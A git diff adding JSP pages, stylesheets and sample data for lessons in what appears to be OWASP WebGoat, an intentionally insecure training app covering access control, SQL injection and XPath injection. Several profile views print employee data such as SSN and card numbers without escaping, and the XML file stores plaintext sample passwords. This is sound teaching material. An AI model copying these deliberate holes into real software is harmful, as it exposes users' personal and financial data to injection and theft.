100755 index 000000000..90dbef989 --- /dev/null +++ b/main/project/WebContent/lessons/GoatHillsFinancial/GoatHillsFinancial.jsp @@ -0,0 +1,30 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="org.owasp.webgoat.session.*" + errorPage="" %> +<%@page import="org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;"%> + +<% +WebSession webSession = ((WebSession)session.getAttribute("websession")); +System.out.println("WebSession is " + webSession); +GoatHillsFinancial currentLesson = (GoatHillsFinancial) webSession.getCurrentLesson(); +System.out.println("CurrentLesson = " + currentLesson); +%> +
+
+
+ <% + String subViewPage = currentLesson.getPage(webSession); + System.out.println("SubViewPage is " + subViewPage); + if (subViewPage != null) + { + //System.out.println("Including sub view page: " + subViewPage); + %> + + <% + } + %> + +
+
\ No newline at end of file diff --git a/main/project/WebContent/lessons/GoatHillsFinancial/ListStaff.jsp b/main/project/WebContent/lessons/GoatHillsFinancial/ListStaff.jsp new file mode 100755 index 000000000..f3bbd0055 --- /dev/null +++ b/main/project/WebContent/lessons/GoatHillsFinancial/ListStaff.jsp @@ -0,0 +1,55 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial" + errorPage="" %> +<% + WebSession webSession = ((WebSession)session.getAttribute("websession")); + int myUserId = webSession.getUserIdInLesson(); +%> +
Welcome Back <%=webSession.getUserNameInLesson()%> - Staff Listing Page
+
+
+
+

Select from the list below

+ +
+ + + + + +
+
+
+ <% + if (webSession.isAuthorizedInLesson(myUserId, GoatHillsFinancial.CREATEPROFILE_ACTION)) + { + %> +
+ <% + } + %> + <% + if (webSession.isAuthorizedInLesson(myUserId, GoatHillsFinancial.DELETEPROFILE_ACTION)) + { + %> +
+ <% + } + %> +
+ +
+ +
+ \ No newline at end of file diff --git a/main/project/WebContent/lessons/GoatHillsFinancial/Login.jsp b/main/project/WebContent/lessons/GoatHillsFinancial/Login.jsp new file mode 100755 index 000000000..9e13040cd --- /dev/null +++ b/main/project/WebContent/lessons/GoatHillsFinancial/Login.jsp @@ -0,0 +1,32 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial" + errorPage="" %> +
+
+ <% + WebSession webSession = ((WebSession)session.getAttribute("websession")); + %> +
+ +
+ +
+ +
+
+
\ No newline at end of file diff --git a/main/project/WebContent/lessons/GoatHillsFinancial/SearchStaff.jsp b/main/project/WebContent/lessons/GoatHillsFinancial/SearchStaff.jsp new file mode 100755 index 000000000..611a826fd --- /dev/null +++ b/main/project/WebContent/lessons/GoatHillsFinancial/SearchStaff.jsp @@ -0,0 +1,22 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial" + errorPage="" %> + \ No newline at end of file diff --git a/main/project/WebContent/lessons/GoatHillsFinancial/ViewProfile.jsp b/main/project/WebContent/lessons/GoatHillsFinancial/ViewProfile.jsp new file mode 100755 index 000000000..a03d60a07 --- /dev/null +++ b/main/project/WebContent/lessons/GoatHillsFinancial/ViewProfile.jsp @@ -0,0 +1,157 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial" + errorPage="" %> +<% + Employee employee = (Employee) session.getAttribute("GoatHillsFinancial." + GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY); + WebSession webSession = ((WebSession)session.getAttribute("websession")); +// int myUserId = getIntSessionAttribute(webSession, "GoatHillsFinancial." + GoatHillsFinancial.USER_ID); +%> +
Welcome Back <%=webSession.getUserNameInLesson()%> - View Profile Page
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ First Name: + + <%=employee.getFirstName()%> + + Last Name: + + <%=employee.getLastName()%> +
+ Street: + + <%=employee.getAddress1()%> + + City/State: + + <%=employee.getAddress2()%> +
+ Phone: + + <%=employee.getPhoneNumber()%> + + Start Date: + + <%=employee.getStartDate()%> +
+ SSN: + + <%=employee.getSsn()%> + + Salary: + + <%=employee.getSalary()%> +
+ Credit Card: + + <%=employee.getCcn()%> + + Credit Card Limit: + + <%=employee.getCcnLimit()%> +
+ Comments: + + <%=employee.getPersonalDescription()%> +
+ Disciplinary Explanation: + + Disc. Dates: + + <%=employee.getDisciplinaryActionDate()%> +
+ <%=employee.getDisciplinaryActionNotes()%> +
+ Manager: + + <%=employee.getManager()%> +
+
+
+ + + + + + + + +
+ <% + if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), GoatHillsFinancial.LISTSTAFF_ACTION)) + { + %> +
+ + +
+ <% + }%> +
+ <% + if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), GoatHillsFinancial.EDITPROFILE_ACTION)) + { + %> +
+ + +
+ <% + } + %> +
+ <% + if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), GoatHillsFinancial.DELETEPROFILE_ACTION)) + { + %> +
+ + +
+ <% + } + %> +
  +
+ +
+
+
\ No newline at end of file diff --git a/main/project/WebContent/lessons/GoatHillsFinancial/error.jsp b/main/project/WebContent/lessons/GoatHillsFinancial/error.jsp new file mode 100755 index 000000000..a3294f134 --- /dev/null +++ b/main/project/WebContent/lessons/GoatHillsFinancial/error.jsp @@ -0,0 +1,13 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial" + errorPage="" %> +<% + WebSession webSession = ((WebSession)session.getAttribute("websession")); +// int myUserId = getIntSessionAttribute(webSession, "GoatHillsFinancial." + GoatHillsFinancial.USER_ID); +%> +


An error has occurred. +


+
+ + +
\ No newline at end of file diff --git a/main/project/WebContent/lessons/GoatHillsFinancial/images/accessControl.jpg b/main/project/WebContent/lessons/GoatHillsFinancial/images/accessControl.jpg new file mode 100755 index 000000000..e9af72c50 Binary files /dev/null and b/main/project/WebContent/lessons/GoatHillsFinancial/images/accessControl.jpg differ diff --git a/main/project/WebContent/lessons/GoatHillsFinancial/images/dbSchema.jpg b/main/project/WebContent/lessons/GoatHillsFinancial/images/dbSchema.jpg new file mode 100755 index 000000000..457b634d0 Binary files /dev/null and b/main/project/WebContent/lessons/GoatHillsFinancial/images/dbSchema.jpg differ diff --git a/main/project/WebContent/lessons/GoatHillsFinancial/images/lesson1_SearchWindow.jpg b/main/project/WebContent/lessons/GoatHillsFinancial/images/lesson1_SearchWindow.jpg new file mode 100755 index 000000000..39e1ed80d Binary files /dev/null and b/main/project/WebContent/lessons/GoatHillsFinancial/images/lesson1_SearchWindow.jpg differ diff --git a/main/project/WebContent/lessons/GoatHillsFinancial/images/lesson1_header.jpg b/main/project/WebContent/lessons/GoatHillsFinancial/images/lesson1_header.jpg new file mode 100755 index 000000000..60a809af0 Binary files /dev/null and b/main/project/WebContent/lessons/GoatHillsFinancial/images/lesson1_header.jpg differ diff --git a/main/project/WebContent/lessons/GoatHillsFinancial/images/lesson1_loginWindow.jpg b/main/project/WebContent/lessons/GoatHillsFinancial/images/lesson1_loginWindow.jpg new file mode 100755 index 000000000..c91f8a052 Binary files /dev/null and b/main/project/WebContent/lessons/GoatHillsFinancial/images/lesson1_loginWindow.jpg differ diff --git a/main/project/WebContent/lessons/GoatHillsFinancial/images/lesson1_menu.jpg b/main/project/WebContent/lessons/GoatHillsFinancial/images/lesson1_menu.jpg new file mode 100755 index 000000000..2c9512571 Binary files /dev/null and b/main/project/WebContent/lessons/GoatHillsFinancial/images/lesson1_menu.jpg differ diff --git a/main/project/WebContent/lessons/GoatHillsFinancial/images/lesson1_workspace.jpg b/main/project/WebContent/lessons/GoatHillsFinancial/images/lesson1_workspace.jpg new file mode 100755 index 000000000..292d25654 Binary files /dev/null and b/main/project/WebContent/lessons/GoatHillsFinancial/images/lesson1_workspace.jpg differ diff --git a/main/project/WebContent/lessons/GoatHillsFinancial/images/orgChart.jpg b/main/project/WebContent/lessons/GoatHillsFinancial/images/orgChart.jpg new file mode 100755 index 000000000..016c0d162 Binary files /dev/null and b/main/project/WebContent/lessons/GoatHillsFinancial/images/orgChart.jpg differ diff --git a/main/project/WebContent/lessons/RoleBasedAccessControl/EditProfile.jsp b/main/project/WebContent/lessons/RoleBasedAccessControl/EditProfile.jsp new file mode 100644 index 000000000..467c53f04 --- /dev/null +++ b/main/project/WebContent/lessons/RoleBasedAccessControl/EditProfile.jsp @@ -0,0 +1,137 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl" + errorPage="" %> +<% + WebSession webSession = ((WebSession)session.getAttribute("websession")); + Employee employee = (Employee) session.getAttribute("RoleBasedAccessControl.Employee"); +%> +
Welcome Back <%=webSession.getUserNameInLesson()%> - Edit Profile Page
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ First Name: + + + + Last Name: + +
+ Street: + + + + City/State: + + +
+ Phone: + + + + Start Date: + + +
+ SSN: + + + + Salary: + + +
+ Credit Card: + + + + Credit Card Limit: + + +
+ Comments: + + +
+ Disciplinary Explanation: + + Disc. Date: + + +
+ +
+ Manager: + + +
+
+
+ + + + + + + + +
+ + + + + + + +
+
+
+ \ No newline at end of file diff --git a/main/project/WebContent/lessons/RoleBasedAccessControl/ListStaff.jsp b/main/project/WebContent/lessons/RoleBasedAccessControl/ListStaff.jsp new file mode 100644 index 000000000..a3c2158de --- /dev/null +++ b/main/project/WebContent/lessons/RoleBasedAccessControl/ListStaff.jsp @@ -0,0 +1,55 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl" + errorPage="" %> +<% + WebSession webSession = ((WebSession)session.getAttribute("websession")); + int myUserId = webSession.getUserIdInLesson(); +%> +
Welcome Back <%=webSession.getUserNameInLesson()%> - Staff Listing Page
+
+
+
+

Select from the list below

+ +
+ + + + + +
+
+
+ <% + if (webSession.isAuthorizedInLesson(myUserId, RoleBasedAccessControl.CREATEPROFILE_ACTION)) + { + %> +
+ <% + } + %> + <% + if (webSession.isAuthorizedInLesson(myUserId, RoleBasedAccessControl.DELETEPROFILE_ACTION)) + { + %> +
+ <% + } + %> +
+ +
+ +
+ \ No newline at end of file diff --git a/main/project/WebContent/lessons/RoleBasedAccessControl/Login.jsp b/main/project/WebContent/lessons/RoleBasedAccessControl/Login.jsp new file mode 100644 index 000000000..6e97a55e5 --- /dev/null +++ b/main/project/WebContent/lessons/RoleBasedAccessControl/Login.jsp @@ -0,0 +1,32 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl" + errorPage="" %> +
+
+ <% + WebSession webSession = ((WebSession)session.getAttribute("websession")); + %> +
+ +
+ +
+ +
+
+
\ No newline at end of file diff --git a/main/project/WebContent/lessons/RoleBasedAccessControl/RoleBasedAccessControl.css b/main/project/WebContent/lessons/RoleBasedAccessControl/RoleBasedAccessControl.css new file mode 100644 index 000000000..f38977fcf --- /dev/null +++ b/main/project/WebContent/lessons/RoleBasedAccessControl/RoleBasedAccessControl.css @@ -0,0 +1,14 @@ +#lesson_wrapper {height: 435px;width: 500px;} +#lesson_header {background-image: url(lessons/RoleBasedAccessControl/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;} +.lesson_workspace {background-image: url(lessons/RoleBasedAccessControl/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} +.lesson_text {height: 240px;width: 460px;padding-top: 5px;} +#lesson_buttons_bottom {height: 20px;width: 460px;} +#lesson_b_b_left {width: 300px;float: left;} +#lesson_b_b_right input {width: 100px;float: right;} +.lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} +.lesson_workspace { } +.lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} +.lesson_text_db {color: #0066FF} +#lesson_login {background-image: url(lessons/RoleBasedAccessControl/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} +#lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} +#lesson_search {background-image: url(lessons/RoleBasedAccessControl/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} diff --git a/main/project/WebContent/lessons/RoleBasedAccessControl/RoleBasedAccessControl.jsp b/main/project/WebContent/lessons/RoleBasedAccessControl/RoleBasedAccessControl.jsp new file mode 100644 index 000000000..7afc1c789 --- /dev/null +++ b/main/project/WebContent/lessons/RoleBasedAccessControl/RoleBasedAccessControl.jsp @@ -0,0 +1,26 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl" + errorPage="" %> + +<% +WebSession webSession = ((WebSession)session.getAttribute("websession")); +RoleBasedAccessControl currentLesson = (RoleBasedAccessControl) webSession.getCurrentLesson(); +%> +
+
+
+ <% + String subViewPage = currentLesson.getPage(webSession); + if (subViewPage != null) + { + //System.out.println("Including sub view page: " + subViewPage); + %> + + <% + } + %> + +
+
\ No newline at end of file diff --git a/main/project/WebContent/lessons/RoleBasedAccessControl/SearchStaff.jsp b/main/project/WebContent/lessons/RoleBasedAccessControl/SearchStaff.jsp new file mode 100644 index 000000000..a9a9f3af2 --- /dev/null +++ b/main/project/WebContent/lessons/RoleBasedAccessControl/SearchStaff.jsp @@ -0,0 +1,22 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl" + errorPage="" %> + \ No newline at end of file diff --git a/main/project/WebContent/lessons/RoleBasedAccessControl/ViewProfile.jsp b/main/project/WebContent/lessons/RoleBasedAccessControl/ViewProfile.jsp new file mode 100644 index 000000000..896eec8f3 --- /dev/null +++ b/main/project/WebContent/lessons/RoleBasedAccessControl/ViewProfile.jsp @@ -0,0 +1,157 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl" + errorPage="" %> +<% + Employee employee = (Employee) session.getAttribute("RoleBasedAccessControl." + RoleBasedAccessControl.EMPLOYEE_ATTRIBUTE_KEY); + WebSession webSession = ((WebSession)session.getAttribute("websession")); +// int myUserId = getIntSessionAttribute(webSession, "RoleBasedAccessControl." + RoleBasedAccessControl.USER_ID); +%> +
Welcome Back <%=webSession.getUserNameInLesson()%> - View Profile Page
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ First Name: + + <%=employee.getFirstName()%> + + Last Name: + + <%=employee.getLastName()%> +
+ Street: + + <%=employee.getAddress1()%> + + City/State: + + <%=employee.getAddress2()%> +
+ Phone: + + <%=employee.getPhoneNumber()%> + + Start Date: + + <%=employee.getStartDate()%> +
+ SSN: + + <%=employee.getSsn()%> + + Salary: + + <%=employee.getSalary()%> +
+ Credit Card: + + <%=employee.getCcn()%> + + Credit Card Limit: + + <%=employee.getCcnLimit()%> +
+ Comments: + + <%=employee.getPersonalDescription()%> +
+ Disciplinary Explanation: + + Disc. Dates: + + <%=employee.getDisciplinaryActionDate()%> +
+ <%=employee.getDisciplinaryActionNotes()%> +
+ Manager: + + <%=employee.getManager()%> +
+
+
+ + + + + + + + +
+ <% + if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), RoleBasedAccessControl.LISTSTAFF_ACTION)) + { + %> +
+ + +
+ <% + }%> +
+ <% + if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), RoleBasedAccessControl.EDITPROFILE_ACTION)) + { + %> +
+ + +
+ <% + } + %> +
+ <% + if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), RoleBasedAccessControl.DELETEPROFILE_ACTION)) + { + %> +
+ + +
+ <% + } + %> +
  +
+ +
+
+
\ No newline at end of file diff --git a/main/project/WebContent/lessons/RoleBasedAccessControl/error.jsp b/main/project/WebContent/lessons/RoleBasedAccessControl/error.jsp new file mode 100644 index 000000000..419740ee7 --- /dev/null +++ b/main/project/WebContent/lessons/RoleBasedAccessControl/error.jsp @@ -0,0 +1,13 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl" + errorPage="" %> +<% + WebSession webSession = ((WebSession)session.getAttribute("websession")); +// int myUserId = getIntSessionAttribute(webSession, "RoleBasedAccessControl." + RoleBasedAccessControl.USER_ID); +%> +


An error has occurred. +


+
+ + +
\ No newline at end of file diff --git a/main/project/WebContent/lessons/RoleBasedAccessControl/images/accessControl.jpg b/main/project/WebContent/lessons/RoleBasedAccessControl/images/accessControl.jpg new file mode 100644 index 000000000..e9af72c50 Binary files /dev/null and b/main/project/WebContent/lessons/RoleBasedAccessControl/images/accessControl.jpg differ diff --git a/main/project/WebContent/lessons/RoleBasedAccessControl/images/dbSchema.jpg b/main/project/WebContent/lessons/RoleBasedAccessControl/images/dbSchema.jpg new file mode 100644 index 000000000..457b634d0 Binary files /dev/null and b/main/project/WebContent/lessons/RoleBasedAccessControl/images/dbSchema.jpg differ diff --git a/main/project/WebContent/lessons/RoleBasedAccessControl/images/lesson1_SearchWindow.jpg b/main/project/WebContent/lessons/RoleBasedAccessControl/images/lesson1_SearchWindow.jpg new file mode 100644 index 000000000..39e1ed80d Binary files /dev/null and b/main/project/WebContent/lessons/RoleBasedAccessControl/images/lesson1_SearchWindow.jpg differ diff --git a/main/project/WebContent/lessons/RoleBasedAccessControl/images/lesson1_header.jpg b/main/project/WebContent/lessons/RoleBasedAccessControl/images/lesson1_header.jpg new file mode 100644 index 000000000..60a809af0 Binary files /dev/null and b/main/project/WebContent/lessons/RoleBasedAccessControl/images/lesson1_header.jpg differ diff --git a/main/project/WebContent/lessons/RoleBasedAccessControl/images/lesson1_loginWindow.jpg b/main/project/WebContent/lessons/RoleBasedAccessControl/images/lesson1_loginWindow.jpg new file mode 100644 index 000000000..c91f8a052 Binary files /dev/null and b/main/project/WebContent/lessons/RoleBasedAccessControl/images/lesson1_loginWindow.jpg differ diff --git a/main/project/WebContent/lessons/RoleBasedAccessControl/images/lesson1_menu.jpg b/main/project/WebContent/lessons/RoleBasedAccessControl/images/lesson1_menu.jpg new file mode 100644 index 000000000..2c9512571 Binary files /dev/null and b/main/project/WebContent/lessons/RoleBasedAccessControl/images/lesson1_menu.jpg differ diff --git a/main/project/WebContent/lessons/RoleBasedAccessControl/images/lesson1_workspace.jpg b/main/project/WebContent/lessons/RoleBasedAccessControl/images/lesson1_workspace.jpg new file mode 100644 index 000000000..292d25654 Binary files /dev/null and b/main/project/WebContent/lessons/RoleBasedAccessControl/images/lesson1_workspace.jpg differ diff --git a/main/project/WebContent/lessons/RoleBasedAccessControl/images/orgChart.jpg b/main/project/WebContent/lessons/RoleBasedAccessControl/images/orgChart.jpg new file mode 100644 index 000000000..016c0d162 Binary files /dev/null and b/main/project/WebContent/lessons/RoleBasedAccessControl/images/orgChart.jpg differ diff --git a/main/project/WebContent/lessons/SQLInjection/EditProfile.jsp b/main/project/WebContent/lessons/SQLInjection/EditProfile.jsp new file mode 100644 index 000000000..38ca58086 --- /dev/null +++ b/main/project/WebContent/lessons/SQLInjection/EditProfile.jsp @@ -0,0 +1,133 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.SQLInjection.SQLInjection" + errorPage="" %> +<% + WebSession webSession = ((WebSession)session.getAttribute("websession")); + Employee employee = (Employee) session.getAttribute("SQLInjection.Employee"); +%> +
Welcome Back <%=webSession.getUserNameInLesson()%>
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ First Name: + + + + Last Name: + + +
+ Street: + + + + City/State: + + +
+ Phone: + + + + Start Date: + + +
+ SSN: + + + + Salary: + + +
+ Credit Card: + + + + Credit Card Limit: + + +
+ Comments: + + + + Manager: + + +
+ Disciplinary Explanation: + + + + Disciplinary Action Dates: + + +
+
+
+ + + + + + + + +
+ + + + + + + +
+
+
\ No newline at end of file diff --git a/main/project/WebContent/lessons/SQLInjection/ListStaff.jsp b/main/project/WebContent/lessons/SQLInjection/ListStaff.jsp new file mode 100644 index 000000000..425867c3b --- /dev/null +++ b/main/project/WebContent/lessons/SQLInjection/ListStaff.jsp @@ -0,0 +1,55 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.SQLInjection.SQLInjection" + errorPage="" %> +<% + WebSession webSession = ((WebSession)session.getAttribute("websession")); + int myUserId = webSession.getUserIdInLesson(); +%> +
Welcome Back <%=webSession.getUserNameInLesson()%> - Staff Listing Page
+
+
+
+

Select from the list below

+ +
+ + + + + +
+
+
+ <% + if (webSession.isAuthorizedInLesson(myUserId, SQLInjection.CREATEPROFILE_ACTION)) + { + %> +
+ <% + } + %> + <% + if (webSession.isAuthorizedInLesson(myUserId, SQLInjection.DELETEPROFILE_ACTION)) + { + %> +
+ <% + } + %> +
+ +
+ +
+ diff --git a/main/project/WebContent/lessons/SQLInjection/Login.jsp b/main/project/WebContent/lessons/SQLInjection/Login.jsp new file mode 100644 index 000000000..a88d694db --- /dev/null +++ b/main/project/WebContent/lessons/SQLInjection/Login.jsp @@ -0,0 +1,32 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.SQLInjection.SQLInjection" + errorPage="" %> +
+
+ <% + WebSession webSession = ((WebSession)session.getAttribute("websession")); + %> +
+ +
+ +
+ +
+
+
\ No newline at end of file diff --git a/main/project/WebContent/lessons/SQLInjection/SQLInjection.css b/main/project/WebContent/lessons/SQLInjection/SQLInjection.css new file mode 100644 index 000000000..177129117 --- /dev/null +++ b/main/project/WebContent/lessons/SQLInjection/SQLInjection.css @@ -0,0 +1,14 @@ +#lesson_wrapper {height: 435px;width: 500px;} +#lesson_header {background-image: url(lessons/SQLInjection/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;} +.lesson_workspace {background-image: url(lessons/SQLInjection/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} +.lesson_text {height: 240px;width: 460px;padding-top: 5px;} +#lesson_buttons_bottom {height: 20px;width: 460px;} +#lesson_b_b_left {width: 300px;float: left;} +#lesson_b_b_right input {width: 100px;float: right;} +.lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} +.lesson_workspace { } +.lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} +.lesson_text_db {color: #0066FF} +#lesson_login {background-image: url(lessons/SQLInjection/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} +#lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} +#lesson_search {background-image: url(lessons/SQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} diff --git a/main/project/WebContent/lessons/SQLInjection/SQLInjection.jsp b/main/project/WebContent/lessons/SQLInjection/SQLInjection.jsp new file mode 100644 index 000000000..51dbc4f3f --- /dev/null +++ b/main/project/WebContent/lessons/SQLInjection/SQLInjection.jsp @@ -0,0 +1,26 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.SQLInjection.SQLInjection" + errorPage="" %> + +<% +WebSession webSession = ((WebSession)session.getAttribute("websession")); +SQLInjection currentLesson = (SQLInjection) webSession.getCurrentLesson(); +%> +
+
+
+ <% + String subViewPage = currentLesson.getPage(webSession); + if (subViewPage != null) + { + //System.out.println("Including sub view page: " + subViewPage); + %> + + <% + } + %> + +
+
\ No newline at end of file diff --git a/main/project/WebContent/lessons/SQLInjection/SearchStaff.jsp b/main/project/WebContent/lessons/SQLInjection/SearchStaff.jsp new file mode 100644 index 000000000..cf86d0dad --- /dev/null +++ b/main/project/WebContent/lessons/SQLInjection/SearchStaff.jsp @@ -0,0 +1,22 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.SQLInjection.SQLInjection" + errorPage="" %> + \ No newline at end of file diff --git a/main/project/WebContent/lessons/SQLInjection/ViewProfile.jsp b/main/project/WebContent/lessons/SQLInjection/ViewProfile.jsp new file mode 100644 index 000000000..a05a0bc39 --- /dev/null +++ b/main/project/WebContent/lessons/SQLInjection/ViewProfile.jsp @@ -0,0 +1,154 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.SQLInjection.SQLInjection" + errorPage="" %> +<% + WebSession webSession = ((WebSession)session.getAttribute("websession")); + Employee employee = (Employee) session.getAttribute("SQLInjection." + SQLInjection.EMPLOYEE_ATTRIBUTE_KEY); +// int myUserId = getIntSessionAttribute(webSession, "SQLInjection." + SQLInjection.USER_ID); +%> +
Welcome Back <%=webSession.getUserNameInLesson()%>
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ First Name: + + <%=employee.getFirstName()%> + + Last Name: + + <%=employee.getLastName()%> +
+ Street: + + <%=employee.getAddress1()%> + + City/State: + + <%=employee.getAddress2()%> +
+ Phone: + + <%=employee.getPhoneNumber()%> + + Start Date: + + <%=employee.getStartDate()%> +
+ SSN: + + <%=employee.getSsn()%> + + Salary: + + <%=employee.getSalary()%> +
+ Credit Card: + + <%=employee.getCcn()%> + + Credit Card Limit: + + <%=employee.getCcnLimit()%> +
+ Comments: + + <%=employee.getPersonalDescription()%> + + Manager: + + <%=employee.getManager()%> +
+ Disciplinary Explanation: + + <%=employee.getDisciplinaryActionNotes()%> + + Disciplinary Action Dates: + + <%=employee.getDisciplinaryActionDate()%> +
+
+
+ + + + + + + + +
+ <% + if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), SQLInjection.LISTSTAFF_ACTION)) + { + %> +
+ + +
+ <% + } + %> +
+ <% + if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), SQLInjection.EDITPROFILE_ACTION)) + { + %> +
+ + +
+ <% + } + %> +
+ <% + if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), SQLInjection.DELETEPROFILE_ACTION)) + { + %> +
+ + +
+ <% + } + %> +
  +
+ +
+
+
\ No newline at end of file diff --git a/main/project/WebContent/lessons/SQLInjection/error.jsp b/main/project/WebContent/lessons/SQLInjection/error.jsp new file mode 100644 index 000000000..5af0a45dc --- /dev/null +++ b/main/project/WebContent/lessons/SQLInjection/error.jsp @@ -0,0 +1,3 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + errorPage="" %> +


An error has occurred. diff --git a/main/project/WebContent/lessons/SQLInjection/images/lesson1_SearchWindow.jpg b/main/project/WebContent/lessons/SQLInjection/images/lesson1_SearchWindow.jpg new file mode 100644 index 000000000..39e1ed80d Binary files /dev/null and b/main/project/WebContent/lessons/SQLInjection/images/lesson1_SearchWindow.jpg differ diff --git a/main/project/WebContent/lessons/SQLInjection/images/lesson1_header.jpg b/main/project/WebContent/lessons/SQLInjection/images/lesson1_header.jpg new file mode 100644 index 000000000..60a809af0 Binary files /dev/null and b/main/project/WebContent/lessons/SQLInjection/images/lesson1_header.jpg differ diff --git a/main/project/WebContent/lessons/SQLInjection/images/lesson1_loginWindow.jpg b/main/project/WebContent/lessons/SQLInjection/images/lesson1_loginWindow.jpg new file mode 100644 index 000000000..c91f8a052 Binary files /dev/null and b/main/project/WebContent/lessons/SQLInjection/images/lesson1_loginWindow.jpg differ diff --git a/main/project/WebContent/lessons/SQLInjection/images/lesson1_menu.jpg b/main/project/WebContent/lessons/SQLInjection/images/lesson1_menu.jpg new file mode 100644 index 000000000..2c9512571 Binary files /dev/null and b/main/project/WebContent/lessons/SQLInjection/images/lesson1_menu.jpg differ diff --git a/main/project/WebContent/lessons/SQLInjection/images/lesson1_workspace.jpg b/main/project/WebContent/lessons/SQLInjection/images/lesson1_workspace.jpg new file mode 100644 index 000000000..292d25654 Binary files /dev/null and b/main/project/WebContent/lessons/SQLInjection/images/lesson1_workspace.jpg differ diff --git a/main/project/WebContent/lessons/XPATHInjection/EmployeesData.xml b/main/project/WebContent/lessons/XPATHInjection/EmployeesData.xml new file mode 100644 index 000000000..e82f74989 --- /dev/null +++ b/main/project/WebContent/lessons/XPATHInjection/EmployeesData.xml @@ -0,0 +1,21 @@ + + + + Mike + 11123 + test123 + 468100 + + + John + 63458 + myownpass + 559833 + + + Sarah + 23363 + secret + 84000 + + diff --git 